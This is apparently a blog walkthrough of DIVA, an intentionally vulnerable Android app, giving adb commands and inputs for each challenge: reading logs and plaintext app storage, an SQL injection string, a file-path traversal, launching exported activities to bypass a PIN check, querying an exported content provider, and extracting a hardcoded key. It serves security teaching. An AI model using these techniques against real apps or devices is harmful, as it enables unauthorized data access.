DIVA (Damn Insecure and Vulnerable App): A Hands-On Android Security Walkthrough

Rey Patel Amish Patel

DIVA (Damn Insecure and Vulnerable App) is an intentionally vulnerable Android application developed for learning mobile application security and penetration testing. It is designed to help developers, students, and cybersecurity professionals understand common Android security flaws and how attackers exploit them.

The app contains multiple real-world vulnerabilities such as insecure logging, hardcoded credentials, insecure data storage, and input validation issues. By practicing on DIVA, learners can safely explore Android hacking techniques and understand secure coding practices in a controlled environment.

DIVA Link:https://github.com/payatu/diva-android

Prerequisite:

1. Virtual Android device with Android version 5 and API-21 (Use Genymotion or Android studio).
2. Santoku OS or any Linux distro with (d2j-dex2jar, apktool, jg-gui, and adb packages installed).

Commands:

$ sudo apt update && sudo apt upgrade

$ git clone https://github.com/payatu/diva-android.git

$ cd diva-android

$ ls

$ unzip DivaApplication.apk

$ d2j-dex2jar classes.dex

$ jd-gui classes-dex2jar.jar


# classes.dex is extracted from the APK file.
# d2j-dex2jar converts the DEX file into a JAR file.
# JD-GUI is used to view the decompiled Java source code.
# This helps in analyzing vulnerabilities inside the DIVA application.

$ adb connect <android-device-ip>:<port>
$ adb install DivaApplication.apk

# The DIVA application is installed on the Android device/emulator.
# Launch the application to access the vulnerable challenges.
# Navigate through the modules to analyze and exploit vulnerabilities.
# Keep the device connected throughout the assessment process.

1. Insecure logging

Sensitive information is written to Android log files, making it accessible to anyone with log access. An attacker can use tools such as adb logcat to retrieve confidential data from the logs. This vulnerability highlights the risks of storing sensitive information in application logs without proper security controls.

Command:
$ adb shell logcat | grep "diva"

2. Hardcoding issues — part1

Sensitive information such as credentials or secret values is hardcoded directly within the application’s source code. An attacker can reverse engineer the APK using tools like JD-GUI to extract these values. This demonstrates why storing secrets directly in application code is an insecure practice.

3. Insecure Data Storage part -1

Sensitive information is stored insecurely on the device without proper protection or encryption. An attacker with access to the device can retrieve confidential data directly from application storage. This vulnerability highlights the importance of securely storing sensitive information on mobile devices.

$ adb shell

$ cd /data/data/jakhar.aseem.diva/shared_prefs

$ cat jakhar.aseem.diva_preferences.xml

# Open the Android device shell.
# Navigate to the application's Shared Preferences directory.
# Display the contents of the XML file storing application data.
# Sensitive information stored in plaintext can be viewed here.

4. Insecure Data Storage part -2

The database contains user credentials without proper protection. If an attacker gains access to the device, they can directly view the stored information.

$ adb shell

$ cd /data/data/jakhar.aseem.diva/databases

$ sqlite3 ids2

sqlite> .tables

sqlite> SELECT * FROM myuser;

# Open the Android device shell.
# Navigate to the application's database directory.
# Open the SQLite database file named 'ids2'.
# List all tables available in the database.
# Display all records stored in the 'myuser' table.
# Usernames and passwords stored in plaintext can be viewed here.

5. Insecure data storage part-3

The application stores sensitive information in temporary files without encryption. An attacker with access to the device can read these files and retrieve confidential data. Temporary files should be protected or securely deleted after use.

$ cd /data/data/jakhar.aseem.diva

$ cat uinfo

# Navigate to the application's data directory.
# Display the contents of the file 'uinfo'.
# Sensitive information stored in plaintext can be viewed here.

6. Insecure data storage part-4

In this challenge, sensitive information is stored on external storage (SD card), where it can be accessed by other applications or users. Since the data is not properly protected, an attacker can easily read the stored information. This demonstrates the risks of storing confidential data on external storage without encryption.

$ adb shell

$ ls

$ cd /sdcard

$ ls -la

$ cat .uinfo.txt

# Open the Android device shell.
# List files and directories in the current location.
# Navigate to the external storage (SD card) directory.
# Display all files, including hidden files.
# View the contents of the '.uinfo.txt' file.
# Sensitive information stored on external storage can be accessed here.

7. Input validation Issues — part 1

Get Ritu Goswami’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The application builds SQL queries using user-supplied input without proper validation. This makes the application vulnerable to SQL Injection attacks, allowing an attacker to manipulate database queries and access unauthorized data. Proper input validation and parameterized queries are essential to prevent such attacks.

For Input Validation Issues — Part 1, the payload entered in the search field is:

' OR '1'='1

8. Input validation Issues — part 2

In this challenge, the application accepts a user-supplied file path without proper validation. An attacker can manipulate the input to access sensitive files stored on the device, leading to unauthorized information disclosure. This demonstrates the risk of trusting user input without proper validation and access controls.

file:///data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml

# Path to the application's Shared Preferences file.
# Contains data stored by the application in XML format.
# Sensitive information may be exposed if stored without protection.

9. Access Control part-1

Here, the application exposes an activity through the intent action jakhar.aseem.diva.action.VIEW_CREDS. An attacker can directly launch the activity and access sensitive API credentials without following the normal application workflow. This demonstrates an access control vulnerability caused by insufficient authorization checks.

$ adb shell

$ am start -a "jakhar.aseem.diva.action.VIEW_CREDS"

# Open the Android device shell.
# Launch the activity associated with the VIEW_CREDS intent.
# Access the API Credentials screen directly.
# Demonstrates how an exported activity can be accessed without proper authorization.

10. Access Control Issues — Part 2

In this challenge, the application relies on a boolean parameter (check_pin) passed through an Intent to control access. By setting check_pin to false, an attacker may bypass security checks and access restricted functionality. This demonstrates the risk of trusting client-controlled data for authorization decisions.

$ adb shell

$ am start -a "jakhar.aseem.diva.action.VIEW_CREDS2" --ez check_pin false

# Open the Android device shell.
# Launch the activity using the specified Intent action.
# Pass the boolean parameter 'check_pin' with the value 'false'.
# Demonstrates how application logic can be manipulated through Intent extras.

11. Access Control Issues — Part 3

In this challenge, the application exposes sensitive functionality through exported components without proper access restrictions. An attacker can interact with these components directly and access protected features without knowing the required PIN. This demonstrates how insecurely exposed application components can lead to unauthorized access.

$ adb shell

$ content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes

# Open the Android device shell.
# Query the application's exported content provider.
# Access data stored by the application without normal authorization.
# Demonstrates improper access control on exposed components.

12. Hardcoded Issues — Part 2

In this challenge, sensitive information is stored inside a native library (.so file) rather than the application source code. However, attackers can still extract these hardcoded secrets using reverse engineering tools. This demonstrates that storing credentials in native libraries alone does not provide adequate security.

$ adb shell

$ cd /data/data/jakhar.aseem.diva/lib

$ strings libdivajni.so

# Open the Android device shell.
# Navigate to the application's native library directory.
# Extract readable strings from the native library file.
# Hardcoded secrets and credentials may be revealed here.

Here, the secret key is: olsdfgad;lh

13. Input Validation Issues — Part 3

In this challenge, the application fails to validate the length of user input before processing it. By providing an excessively long input, an attacker can trigger a buffer overflow-like condition that causes the application to crash. This demonstrates how improper input validation can lead to application instability and potential security risks.

Result:
The DIVA application crashes and displays “Unfortunately, DIVA has stopped”, confirming the vulnerability.

Conclusion

DIVA provides a practical environment for understanding common Android application vulnerabilities such as insecure logging, hardcoded secrets, insecure data storage, input validation flaws, and access control issues. Through hands-on exploitation of these weaknesses, we gain insight into how attackers identify and abuse insecure coding practices.

This exercise highlights the importance of secure coding, proper input validation, encryption of sensitive data, secure component configuration, and robust access control mechanisms. By understanding these vulnerabilities and their impact, developers can build more secure mobile applications and reduce the risk of real-world attacks.